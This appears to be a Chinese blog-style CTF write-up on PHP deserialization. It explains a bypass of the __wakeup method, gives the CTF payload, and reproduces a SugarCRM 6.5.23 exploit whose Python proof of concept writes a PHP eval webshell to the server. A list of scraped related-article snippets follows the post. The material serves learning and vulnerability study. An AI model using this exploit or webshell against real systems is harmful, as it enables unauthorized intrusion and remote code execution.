一、CTF题目

前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。

此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下:

  class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);else      die('Wrong filename.');}}  function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}}     if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); }
?>   #<!--key in flag.php-->

1、代码审计

审计代码,可以发现要得到KEY,思路如下: 
1、源码最后提示,KEY在flag.php里面; 
2、注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来 
show_source(dirname(FILE).’/‘.$this->file),这个是解题关键; 
3、若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码); 
4、上面的分析是多么美好,但从代码分析可以知道,还有__wakeup这个拦路虎,通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php; 
5、总结下来就是,想办法把file设为flag.php,调用__destruct方法,且绕过__wakeup。

2、PHP反序列化对象注入漏洞

上网查资料,发现原来这个CTF题目是根据PHP反序列化对象注入漏洞改编的。

简单来说,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行举个栗子,比如有个Student类,里面有个参数为name。 
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;} 
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

3、CTF Payload

明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2:  指的是 有两个对象

S:7:”\00*\00file”   指的是有个属性,有7个字符,名为\00*\00file

s:8:”flag.php”   指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。另外,还需要经过Base64编码,结果为: 
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

二、反序列魔术方法调试

题目虽然搞定了,但对于反序列化的几个魔术方法感觉掌握还是不够,于是决定写段简单的代码辅助理解。

1、构造类

    class Student{protected $name = 'Zhangsan';public $sex = 'man';function __wakeup(){echo ' __wake is working'; echo '</br>';echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';}function __destruct(){echo '__destruct is working'; echo '</br>';echo 'I am:'.$this->name; echo '</br>';}}

2、将对象序列化为字符串

$Zhangsan = new Student;
$saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。
echo 'saveData is===>'.$saveData; echo '</br>';

3、正常反序列化情况

根据第一步得到的格式,构造Payload,可以发现__wakeup()方法正常运行,name仍然是zhangsan

4、异常反序列化情况

根据上面得到的格式,把属性个数改为3,构造Payload,可以发现已绕过__wakeup()方法且__destruct方法将name置为我们想要的lisi。

三、漏洞原理分析

从CTF题目和上面魔术方法调试的例子可以看出,造成漏洞主要有两个问题:应用代码问题、底层PHP漏洞。

(一)应用代码反序列化漏洞产生条件

1、反序列化函数,传入参数可控,如上面那道CTF题目$file就是可控的; 
2、__destruct()方法可利用,如CTF题目就是利用__destruct()方法中的show_source(),从而暴露源码; 
3、以上两点没有对传参进行过滤,否则无法构成目的Payload。

(二)底层PHP漏洞

简单来说,如果对象属性检查异常,那么Purrase_nested_data()将会返回0,且不调用WAKEUP()方法,但是在这之前对象和它的属性已经被创建,紧接着对象将被破坏,从而执行DESTRUCT()函数,于是导致了漏洞。

四、SugarCRM PHP反序列化对象注入漏洞

查资料的过程中,发现PHP反序列化漏洞原来在SugarCRM上已经被应用过。

而SugarCRM是一款完全开放源代码的商业开源软件,拥有广泛的用户群体,可见此漏洞影响范围之大。

下面进行漏洞还原,顺便学习下了解底层漏洞之后,如何审计应用代码。

(一)环境搭建

根据报告,此漏洞影响的版本为: 
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10 
于是从sourceforge上下载SugarCRM 6.5.23,一顿安装之后,搭载在Wamp上即可使用。 
下载链接:https://sourceforge.net/projects/sugarcrm/files/OldFiles/1%20-%20SugarCRM%206.5.X/SugarCommunityEdition-6.5.X/ 
而我的环境是:SugarCRM = 6.5.23; PHP = 5.3.10

(二)代码审计

为了方便审计代码,推荐用PhpStorm作为IDE,方便查阅。

明确三个条件

按照上面介绍,构成漏洞需满足三个条件: 
1、反序列化函数,传入参数可控; 
2、__destruct()方法可利用; 
3、以上两点没有对传参进行过滤。

按照这三个条件,开始在SugarCRM上寻找目标。

寻找传入参数可控的反序列化函数

通过PhpStrom的查找功能,找到了这样的一个函数

$data = sugar_unserialize(from_html($data));

继续查看sugar_unserialize()函数定义,发现正则表达式虽然进行了过滤,但很容易被绕过

比如把o:32:改成o:+32:,就可以完成绕过(/i是忽略大小写的意思,在下图软件中通过打勾实现),从而把$value传入到unserialize()方法中实现反序列化。

可控的传入参数找到了,接下来就是找可利用的destruct()、wakeup()

通过PhpStrom的查找功能,发现在\include\SugarCache\SugarCacheFile.php有我们刚才接触到的两个魔术方法__destruct()、__wakeup(),并且有如下发现: 
1、wakeup()方法会清除对象属性,不过好在我们可以绕过;
2、destruct()方法似乎还能通过sugar_file_put_contents()上传文件,但前提是$this->_cacheChanged=true;

3、继续看sugar_file_put_contents()这个方法,可以通过$this->_cacheFileName、$this->_localStore 实现文件上传。其中:

$filename = sugar_cached($this->_cacheFileName);

$data = serialize($this->_localStore);

4、$_cacheFileName、$_cacheChanged都是protected属性参数,所以构造Payload时,需要在参数名前加\00*\00

5、以上两个条件均没有形成有效的过滤限制,所以构造Payload应该是可行的

(三)Python payload构造与菜刀连接

参考了大表哥p0wd3r的代码,POC代码如下:

import requests as req
url = ‘http://127.0.0.1/SugarCE-Full-6.5.23/service/v4/rest.php‘
data = {    ‘method’: ‘login’,    ‘input_type’: ‘Serialize’,    ‘rest_data’:
‘O:+14:”SugarCacheFile”:23:{S:17:”\00\00_cacheFileName”;s:18:”../custom/eval.php”;S:16:”\00\00_cacheChanged”;b:1;S:14:”\00*\00_localStore”;a:1:{i:0;s:29:”<?phpeval($_POST[\’CTF\’]); ?>”;}}’,
}
req.post(url, data=data)

在/custom/目录下生成了一句话木马文件 eval.php,接着就可以上菜刀了。

文中提到的CTF题目、魔术方法调试、SugarCRM源码链接:

链接:https://pan.baidu.com/s/1GLLuixPkMFlosOWe4KC6ZA 密码:2265

从一道CTF题学习PHP反序列化漏洞相关推荐

  1. ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  2. 一道ctf题关于php反序列化字符逃逸

    0x01 前言 无意间做应该是0ctf2016的一道web题,get新点,总计一下. 0x02 代码审计 进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到up ...

  3. 记一道CTF中的phar反序列化

    Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...

  4. 从一道CTF题目学习Tanner图和LDPC

    概述   Tanner图是由Mr Tanner在1981在论文中提出来的,是研究低密度校验码的重要工具.   Tanner图表示的是 LDPC 的校验矩阵.Tanner图中的循环是由图中的一群相互连接 ...

  5. mysql is fashion ctf_一道CTF题引发的思考-MySQL的几个特性(续)

    0x00 背景 这两天处于转牛角尖的状态,非常不好.但是上一篇的中提到的问题总算是总结了些东西. 0x01 测试过程 (1)测试环境情况:创建了如下测试表test, mysql> select ...

  6. sql if else语句_一道sql题学习if语句和case when语句

    描述: 给定一个 salary表,如下所示,有m=男性 和 f=女性的值 .交换所有的 f 和 m 值(例如,将所有 f 值更改为 m,反之亦然).要求使用一个更新查询,并且没有中间临时表. 先给出答 ...

  7. php strlen ctf,CTF中的PHP反序列化漏洞简单分析

    [PHP] 纯文本查看 复制代码<?php class start_gg { public $mod1; public $mod2; public function __construct()  ...

  8. 个php反序列化漏洞,PHP反序列化漏洞学习(一)

    前言:PHP反序列化也是web安全中常见的一种漏洞,这次就先来大致了解一下PHP反序列化漏洞的基础知识. 一.PHP序列化和反序列化 在学习PHP反序列化漏洞时,先来了解一下基础的知识. (一)PHP ...

  9. 网络安全课第六节 反序列化漏洞的检测与防御

    12 反序列化漏洞:数据转换下的欺骗 上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件.进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待. 本讲我将介 ...

最新文章

  1. 327 - Evaluating Simple C Expressions
  2. 如何解决:“ UnicodeDecodeError:#39;ascii#39;编解码器无法解码字节”
  3. ActiveX组件及其注册 (轉)
  4. Python实现ANSI文件转UTF-8
  5. matlab 填充数组,Matlab自动将数组类型从复数转换为double
  6. android开发常用的颜色值
  7. 【ArcGIS微课1000例】0012:ArcGIS创建及连接ArcSDE企业级地理数据库实例
  8. linux的系统移植——交叉编译器
  9. 【Python】Pandas高效加载JSON文件
  10. linux内核支持2t,Linux 支持2T磁盘分区
  11. python输出时间_Python获取并输出当前日期时间
  12. c++友元模板单例模式
  13. mysql命令 show_mysql show 相关命令
  14. [UE4] 虚幻4学习---UE4中的字符串转换
  15. 移动端车牌识别sdk——技术干货
  16. 教学演示软件 模型八 医学的人体模型
  17. LeetCode Problems 903
  18. vue.js ElementUI /java 笔记
  19. 百度全景地图 -(街景)_百度地图VR全景,世界触手可及
  20. 计算机网络波动大,电脑网络总是不稳定的解决方法

热门文章

  1. 人民币汇率弹性渐强 汇改下一步完善市场机制
  2. 2022-08-03 乐理知识(二) 简谱的拍号——拍号,小节,音符,附点和休止符的分类,什么是拍子,拍子的强弱关系,常见拍子:单拍子.复拍子和混合拍子,一拍子和散拍子
  3. 哈佛计算机系小哥哥中文字幕,【哈佛学霸小哥哥的一天】同样的24小时,为什么他们更优秀...
  4. 如今电商时代,传统电商该如何破局? Smartbi教你几个分析方法
  5. 高等数学 多元函数微分学 知识技巧思维导图 [21考研上岸之旅]
  6. Linux下压缩、解压命令、压缩比介绍说明
  7. 侠梦说pinpoint--左侧服务地图调用量和WasOnly含义
  8. 大数据系统的基础,大数据存储和计算技术
  9. Linux中显示文档第三行内容,Linux下工作常使用的命令(持续整理)
  10. 【PHP基础】PHP概述及简单语法